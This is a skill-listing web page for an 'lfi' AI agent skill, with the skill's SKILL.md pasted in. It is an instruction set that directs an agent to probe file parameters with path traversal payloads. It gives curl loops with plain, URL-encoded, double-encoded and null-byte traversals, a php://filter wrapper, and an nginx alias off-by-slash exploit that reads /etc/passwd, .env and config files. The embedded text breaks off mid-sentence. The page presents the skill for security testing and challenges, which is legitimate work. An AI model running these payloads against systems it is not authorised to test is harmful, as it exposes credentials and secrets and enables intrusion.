lfi
What it does
This skill guides the agent through testing whether a site lets users read files outside the intended folder. It is for security testers checking file download and display features.
When to use it
- βWhen a page takes a file or path parameter and you want to test whether it can read other files.
- βWhen a scan points to a template, download or static file feature.
- βWhen a recon result names a file parameter that should be tested first.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/lfi/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βCan you check whether the file parameter on my download page can be used to read files outside the folder?β
5 new skills a week. 1 minute to read.
How it works
The agent tries path tricks such as parent-folder steps and filter-bypass forms, then checks whether the response shows a file it should not reach.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
Path Traversal / Local File Inclusion (LFI)
Exploits insufficient path validation to read arbitrary files or include them for execution. Often targets file download/display endpoints, template inclusion, or static resource handlers.
Precondition β Use Recon Handoff First
If the recon handoff (recon/SUMMARY.md RECON_HANDOFF: line) names a
specific file/path parameter (e.g. /<endpoint>?file=, /<endpoint>?path=,
/<endpoint>?name=), START with the parameter named in the handoff. Do
NOT run gobuster/ffuf/dirb against the host before testing the
handoff parameter β recon already enumerated the surface. The Detection
block below is for engagements where NO recon handoff exists.
The first 3 commands you run in this skill MUST target the recon-named parameter with these payload classes (one per command):
- plain traversal β
../../../etc/passwd - stripped-traversal bypass β
....//....//....//etc/passwd - PHP wrapper β
php://filter/convert.base64-encode/resource=<file>
Only if all three return baseline-matched response (per the
Β§"Response Body Verification" check) should you consider broader endpoint
discovery β and that discovery belongs in exploit/PIVOT.md first,
documenting (a) what payload classes you tried against the handoff
parameter, (b) why the handoff vector is exhausted, (c) the new surface
you are moving to.
Detection
# Basic path traversal probes on common parameters
for param in file name path page template doc include src resource filename load; do
resp=$(curl -s -o /dev/null -w "%{http_code}" "http://<TARGET>/?$param=../../../etc/passwd")
[ "$resp" != "404" ] && echo "Param '$param' returned $resp"
done
# Test traversal depth
curl -s 'http://<TARGET>/file?name=../../../etc/passwd'
curl -s 'http://<TARGET>/file?name=../../../../etc/passwd'
curl -s 'http://<TARGET>/file?name=../../../../../etc/passwd'
# URL-encoded traversal
curl -s 'http://<TARGET>/file?name=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'
# Double URL-encoded (when server decodes twice)
curl -s 'http://<TARGET>/file?name=%252e%252e%252f%252e%252e%252fetc%252fpasswd'
# Null byte (older PHP < 5.3.4)
curl -s 'http://<TARGET>/file?name=../../../etc/passwd%00.jpg'
# Path in URL path segment
curl -s 'http://<TARGET>/static/..%2f..%2f..%2fetc/passwd'
curl -s 'http://<TARGET>/files/....//....//....//etc/passwd'
Server-Level Path Traversal (Nginx Alias Off-by-Slash)
Distinct from PHP-parameter LFI: the vulnerability lives in the nginx config, not in application code. Frequently appears in production reverse-proxy / static-asset / admin-panel deployments. Test EVERY discovered URL prefix that returns a 301 redirect appending /, BEFORE moving to parameter fuzzing β this probe is one curl per prefix, near-zero cost, high signal.
Fingerprint (any of these is enough to test):
Server: nginxresponse header- A path
/prefix(no trailing slash) returns 301 redirecting to/prefix/β canonical signature oflocation /prefix(no slash) with a separatelocation /prefix/(with slash) - Static assets served under a path prefix (
/static,/assets,/images,/admin,/files,/uploads)
Exploit pattern β append ../ DIRECTLY after the prefix (no slash between):
# For each prefix discovered in recon (gobuster/ffuf or 301-redirect probe):
for prefix in admin static assets images files uploads docs api; do
STATUS=$(curl -s -o /tmp/alias_${prefix}.txt -w '%{http_code}' "http://<TARGET>/${prefix}../etc/passwd")
SIZE=$(wc -c < /tmp/alias_${prefix}.txt)
echo "${prefix}: status=${STATUS} size=${SIZE}"
grep -c 'root:' /tmp/alias_${prefix}.txt
done
# Then walk parents to find sensitive files near the alias root:
PREFIX="admin" # the winning prefix from above
for target in etc/passwd .env flag.txt flag config.php settings.py ../.env ../flag.txt; do
curl -s "http://<TARGET>/${PREFIX}../${target}" | head -5
done
Why it works: when location /prefix lacks the trailing slash but alias /target/ has one, nginx strips the URI's literal /prefix portion and concatenates the rest with the alias target. Request /prefix../foo β nginx removes /prefix β leaves ../foo β resolves against /target/ β /target/../foo = parent-directory access.
Distinguishing from root directive: only alias is affected. A location /static { root /var/www/; } block is NOT vulnerable to this β nginx appends the FULL request URI to the root path, so /static../etc/passwd yie
FAQ
Does it run broad scans first?
No. The skill says to test the named parameter from earlier recon before running broad directory scans.
Does it cover PHP wrappers?
Yes, it covers PHP wrappers, which can read or run files in some setups.
What counts as a successful test?
The skill compares responses with a baseline to confirm that a real file was returned.
Details
Original description by the author
Path traversal and Local File Inclusion (LFI) β arbitrary file reading via directory traversal, PHP filter/input/data wrappers for RCE, log poisoning, static resource disclosure, and information leakage. Use for any challenge involving file path manipulation, ../ traversal, local file read, PHP wrappers, or sensitive file disclosure.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #14069
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.